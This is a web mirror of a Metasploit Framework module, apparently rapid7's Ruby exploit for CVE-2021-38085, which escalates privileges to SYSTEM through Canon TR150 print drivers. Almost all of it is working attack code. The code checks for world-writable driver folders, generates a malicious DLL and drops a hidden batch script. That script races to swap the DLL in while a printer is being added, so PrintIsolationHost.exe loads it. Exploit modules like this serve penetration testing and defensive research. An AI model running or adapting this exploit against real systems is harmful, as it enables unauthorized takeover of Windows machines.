Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/canon_driver_privesc.rb
33050 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Post::Windows::Priv
12
include Msf::Exploit::FileDropper
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Canon Driver Privilege Escalation',
20
'Description' => %q{
21
Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
22
within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
23
C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
24
with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
25
script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,
26
which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation
27
will grant attackers code execution as the NT AUTHORITY\SYSTEM user.
28
29
This module leverages the prnmngr.vbs script
30
to add and delete printers. Multiple runs of this
31
module may be required given successful exploitation
32
is time-sensitive.
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'Jacob Baines', # discovery, PoC, module
37
'Shelby Pace' # original Ricoh module
38
],
39
'References' => [
40
['CVE', '2021-38085'],
41
],
42
'Platform' => 'win',
43
'SessionTypes' => [ 'meterpreter' ],
44
'Targets' => [
45
[
46
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
47
]
48
],
49
'Notes' => {
50
'SideEffects' => [ ARTIFACTS_ON_DISK ],
51
'Reliability' => [ UNRELIABLE_SESSION ],
52
'Stability' => [ SERVICE_RESOURCE_LOSS ]
53
},
54
'DisclosureDate' => '2021-08-07',
55
'DefaultTarget' => 0,
56
'Compat' => {
57
'Meterpreter' => {
58
'Commands' => %w[
59
stdapi_sys_process_execute
60
]
61
}
62
}
63
)
64
)
65
66
self.needs_cleanup = true
67
end
68
69
def check
70
@driver_path = ''
71
dir_name = 'C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series'
72
73
return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)
74
75
language_dirs = dir(dir_name)
76
77
return CheckCode::Detected("Detected Canon driver directory, but no language files. Its likely the driver is installed but a printer hasn't been added yet") unless language_dirs.length
78
79
@driver_path = dir_name
80
@driver_path.concat('\\LanguageModules\\040C')
81
res = cmd_exec("icacls \"#{@driver_path}\"")
82
vulnerable = res.match(/\\Users:(?:\(I\))?\(OI\)\(CI\)\(F\)/)
83
84
return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions") unless vulnerable
85
86
vprint_status("Vulnerable language driver directory: #{@driver_path}")
87
CheckCode::Appears('Canon language driver directory grants Users full permissions')
88
end
89
90
def add_printer(driver_name)
91
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
92
93
dll_data = generate_payload_dll
94
dll_path = "#{@driver_path}\\CNMurGE.dll"
95
96
temp_path = expand_path('%TEMP%\\CNMurGE.dll')
97
98
bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
99
cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
100
101
# this script monitors the target dll for modification and then copies
102
# over our malicious dll. As this is a time based attack, it won't
103
# always be succuessful!
104
bat_file = <<~HEREDOC
105
attrib -a "#{dll_path}"
106
:repeat
107
for %%i in ("#{dll_path}") do echo %%~ai | find "a" >nul || goto :repeat
108
timeout /t 1
109
#{cp_cmd}
110
attrib -a "#{dll_path}"
111
HEREDOC
112
113
print_status("Dropping batch script to #{bat_file_path}")
114
write_file(bat_file_path, bat_file)
115
116
print_status("Writing DLL file to #{temp_path}")
117
write_file(temp_path, dll_data)
118
register_files_for_cleanup(bat_file_path, temp_path)
119
120
script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
121
bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
122
vprint_status('Executing the batch script...')
123
client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })
124
125
print_status("Adding printer #{@printer_name}...")
126
cmd_exec(script_cmd)
127
rescue Rex::Post::Meterpreter::RequestError => e
128
fail_with(Failure::Unknown, "#{e.class} #{e.message}")
129
end
130
131
def exploit
132
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
133
134
fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
135
136
if sysinfo['Architecture'] != payload.arch.first
137
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')
138
end
139
140
@printer_name = Rex::Text.rand_text_alpha(5..9)
141
@script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
142
drvr_name = 'Canon TR150 series'
143
144
add_printer(drvr_name)
145
end
146
147
def cleanup
148
print_status("Deleting printer #{@printer_name}")
149
sleep(3)
150
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
151
client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
152
end
153
end
154
155